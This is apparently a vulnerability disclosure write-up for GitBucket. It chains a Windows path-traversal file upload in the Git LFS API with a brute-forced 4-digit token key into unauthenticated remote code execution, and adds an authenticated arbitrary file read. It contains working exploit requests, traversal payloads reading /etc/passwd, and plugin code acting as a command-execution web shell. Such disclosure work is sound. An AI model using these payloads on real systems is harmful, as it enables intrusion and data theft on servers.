Introduction
- TL;DR: GitBucket Unauthenticated Remote Code Execution working when server is installed on Windows and authenticated arbitrary file read working on every platform.
This document is also available on GitHub.
Table of contents
Unrestricted file upload
Inside GitLfsTransferServlet
class getLfsFilePath
output is passed directly to Java new File
function.
override protected def doPut(req: HttpServletRequest, res: HttpServletResponse): Unit = {
for {
(owner, repository, oid) <- getPathInfo(req, res) if checkToken(req, oid)
} yield {
val file = new File(FileUtil.getLfsFilePath(owner, repository, oid))
FileUtils.forceMkdir(file.getParentFile)
using(req.getInputStream, new FileOutputStream(file)) { (in, out) =>
IOUtils.copy(in, out)
}
res.setStatus(HttpStatus.SC_OK)
}
}
Oid
value is obtained using getPathInfo
function.
private def getPathInfo(req: HttpServletRequest, res: HttpServletResponse): Option[(String, String, String)] = {
req.getRequestURI.substring(1).split("/").reverse match {
case Array(oid, repository, owner, _*) => Some((owner, repository, oid))
case _ => None
}
}
URL address is split using /
and then last 3 parts are treated as: owner
, repository
and oid
.
But there is one problem here.
On Windows it's possible to change directories using \
(backslash), i.e. : cd c:\temp\some_dir
.
In this table there is requested URL address and owner
, repository
and oid
value:
URL <- gitbucket/KACPER/EXPLOITS/STH
owner = KACPER
repository = EXPLOITS
oid = STH
URL <- gitbucket/KACPER/EXPLOITS/../STH
owner = EXPLOITS
repository = ..
oid = STH
URL <- gitbucket/KACPER/EXPLOITS/../../STH
owner = ..
repository = ..
oid = STH
Normally, it's possible to do path traversal attack using ../
.
Because getPathInfo
splits string using /
character, oid
value will never have /
.
Situation is little different with \
:
URL <- gitbucket/KACPER/EXPLOITS/STH\..\
owner = KACPER
repository = EXPLOITS
oid = STH\..\
URL <- gitbucket/KACPER/EXPLOITS/..\..\STH
owner = KACPER
repository = EXPLOITS
oid = ..\..\STH
Now oid
can contain ..\
string.
That's the reason why this exploit works only when GitBucket is running on Windows.
oid
value is important because it's used inside getLfsFilePath
:
def getLfsFilePath(owner: String, repository: String, oid: String): String =
Directory.getLfsDir(owner, repository) + "/" + oid
There isn't any validation here:
new File(FileUtil.getLfsFilePath("owner", "repository", "..\..\STH"))
Basically Java process is reading this file:
.gitbucket\repositories\owner\repository\lfs\..\..\STH
which really means:
.gitbucket\repositories\owner\..\..\STH
Using this bug it's possible to upload any file to any directory through Git LFS Api.
Example request for sending c:\temp\test.txt
file:
POST /git/root/test.git/info/lfs/objects/batch HTTP/1.1
Host: localhost:8080
Accept: application/vnd.git-lfs+json
Content-Type: application/vnd.git-lfs+json
User-Agent: a-git-
Authorization: Basic cm9vdDpyb290
Connection: close
Content-Length: 171
{
"operation": "upload",
"transfers": [ "basic" ],
"objects": [
{
"oid": "..\\..\\..\\..\\..\\..\\..\\temp\\test.txt",
"size": 6
}
]
}
Server returns:
{
"transfer": "basic",
"objects": [
{
"oid": "..\\..\\..\\..\\..\\..\\..\\temp\\test.txt",
"size": 6,
"authenticated": true,
"actions": {
"upload": {
"href": "http://192.168.88.101:8080/git-lfs/root/test/..\\..\\..\\..\\..\\..\\..\\temp\\test.txt",
"header": {
"Authorization": "NWgUKL2c2Ixmq/HfUNhlQw+1ZwIk/cAa+CuOTNl7FeYy1dDPZ5tphprsGRGQHMcrGh7wqCH55P0="
},
"expires_at": "2018-05-13T16:06:27Z"
}
}
}
]
}
PUT
request requires proper href
obtained from server and correct Authorization header
:
PUT /git-lfs/root/test/..\..\..\..\..\..\..\temp\test.txt HTTP/1.1
Host: localhost:8080
Accept: application/vnd.git-lfs+json
Content-Type: application/vnd.git-lfs+json
User-Agent: my-git-agent
Authorization: NWgUKL2c2Ixmq/HfUNhlQw+1ZwIk/cAa+CuOTNl7FeYy1dDPZ5tphprsGRGQHMcrGh7wqCH55P0=
Connection: close
Content-Length: 7
exploit
Server returns:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 13 May 2018 15:56:59 GMT
File is successfully created inside c:\temp\test.txt
.
Authenticated RCE
It's possible to upload any file with any extension to any location. How convert this to RCE?
GitBucket can be extended using plugins.
Plugin installation is really simple. User needs to copy plugin .jar
file to plugins
directory.
Then server automatically installs and activates given extension.
It works that way because internally GitBucket watches for any change inside plugins
directory using PluginWatchThread
class.
On GitHub there is example extension available for download.
For compilation, sbt
is needed.
SBT
More details about sbt
can be found here. In a few words it's a build tool for Scala projects.
On Ubuntu it's possible to install it using:
sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java8-installer
sudo curl -Ls https://git.io/sbt > /bin/sbt && chmod 0755 /bin/sbt
After installation example extension needs to be downloaded:
wget https://github.com/gitbucket/gitbucket-plugin-template/archive/master.zip
unzip master.zip
HelloWorldController.scala
with exploit code:
package io.github.gitbucket.helloworld.controller
import gitbucket.core.controller.ControllerBase
import sys.process._
class HelloWorldController extends ControllerBase {
get("/exploit"){
val command = request.getParameter("command").!!
command
}
}
In Scala
when variable ends with !!
it's passed directly to system
function.
After plugin installation it's possible to execute any system command on vulnerable server using:
http://gitbucket-url:8080/exploit?command=ipconfig
Unauthenticated RCE
How make this exploit unauthenticated?
Each lfs
request requires proper Authorization
header.
It's checked inside checkToken
function:
private def checkToken(req: HttpServletRequest, oid: String): Boolean = {
val token = req.getHeader("Authorization")
if (token != null) {
val Array(expireAt, targetOid) = StringUtil.decodeBlowfish(token).split(" ")
oid == targetOid && expireAt.toLong > System.currentTimeMillis
} else {
false
}
}
Token consists of two parts. First is expiration date so server knows if request is valid at specific point in time.
Second is oid
of file which is sent.
Because of that it's not possible to send two files in two different locations using the same token value.
Token is encoded using Blowfish and base64:
def decodeBlowfish(value: String): String = {
val spec = new javax.crypto.spec.SecretKeySpec(BlowfishKey.getBytes(), "Blowfish")
val cipher = javax.crypto.Cipher.getInstance("Blowfish")
cipher.init(javax.crypto.Cipher.DECRYPT_MODE, spec)
new String(cipher.doFinal(Base64.getDecoder.decode(value)), "UTF-8")
}
For decryption BlowfishKey
variable is used.
private lazy val BlowfishKey = {
// last 4 numbers in current timestamp
val time = System.currentTimeMillis.toString
time.substring(time.length - 4)
}
It's only 4 digits
length. Because of that there is only 10 000
combinations to check.
From 0000
to 9999
. It's great example for brute force attack.
Key brute force
Idea is quite simple. Send 10 000
request with crafted token.
Token format:
unix_timestamp_from_future some_non_existing_oid
Each time this payload needs to be encrypted using different Blowfish key
, from 0000
to 9999
.
When server responds with status code different than 500
it means that the key is valid.
This key can be used together with Unrestricted file upload bug in order to get unauthenticated remote code execution.
Bonus
As a bonus: authenticated arbitrary file read.
GitBucket allows user to send file via upload form.
Then those files are commited to the repository:
case class CommitFile(id: String, name: String)
post("/:owner/:repository/upload", uploadForm)(writableUsersOnly { (form, repository) =>
val files = form.uploadFiles.split("\n").map { line =>
val i = line.indexOf(':')
CommitFile(line.substring(0, i).trim, line.substring(i + 1).trim)
}
commitFiles(
repository = repository,
branch = form.branch,
path = form.path,
files = files,
message = form.message.getOrElse("Add files via upload")
)
if (form.path.length == 0) {
redirect(s"/${repository.owner}/${repository.name}/tree/${form.branch}")
} else {
redirect(s"/${repository.owner}/${repository.name}/tree/${form.branch}/${form.path}")
}
})
uploadFiles
structure:
path_to_file_1:file_1_name\n
path_to_file_2:file_2_name\n
path_to_file_3:file_3_name\n
First part before :
is id
, second name
. Those values are passed to commitFiles
function:
private def commitFiles(
repository: RepositoryService.RepositoryInfo,
files: Seq[CommitFile],
branch: String,
path: String,
message: String
) = {
// prepend path to the filename
val newFiles = files.map { file =>
file.copy(name = if (path.length == 0) file.name else s"${path}/${file.name}")
}
_commitFile(repository, branch, message) {
case (git, headTip, builder, inserter) =>
JGitUtil.processTree(git, headTip) { (path, tree) =>
if (!newFiles.exists(_.name.contains(path))) {
builder.add(JGitUtil.createDirCacheEntry(path, tree.getEntryFileMode, tree.getEntryObjectId))
}
}
newFiles.foreach { file =>
val bytes = FileUtils.readFileToByteArray(new File(getTemporaryDir(session.getId), file.id))
builder.add(
JGitUtil.createDirCacheEntry(file.name, FileMode.REGULAR_FILE, inserter.insert(Constants.OBJ_BLOB, bytes))
)
builder.finish()
}
}
}
file.id
is combined with getTemporaryDir(session.getId)
and passed directly to new File()
.
Again there's no verification here.
When user sends:
/../../../../../../../etc/passwd:exploit.txt
bytes
value will be:
val bytes = FileUtils.readFileToByteArray(new File(getTemporaryDir(session.getId), "/../../../../../../../etc/passwd"))
Then, exploit.txt
file will be create inside user repository.
It will have content of etc/passwd
file.
It can be read using:
http://gitbucket-url/username/repository/raw/master/exploit.txt
POC
Authenticated arbitrary file read
Timeline
- 21-05-2018: Release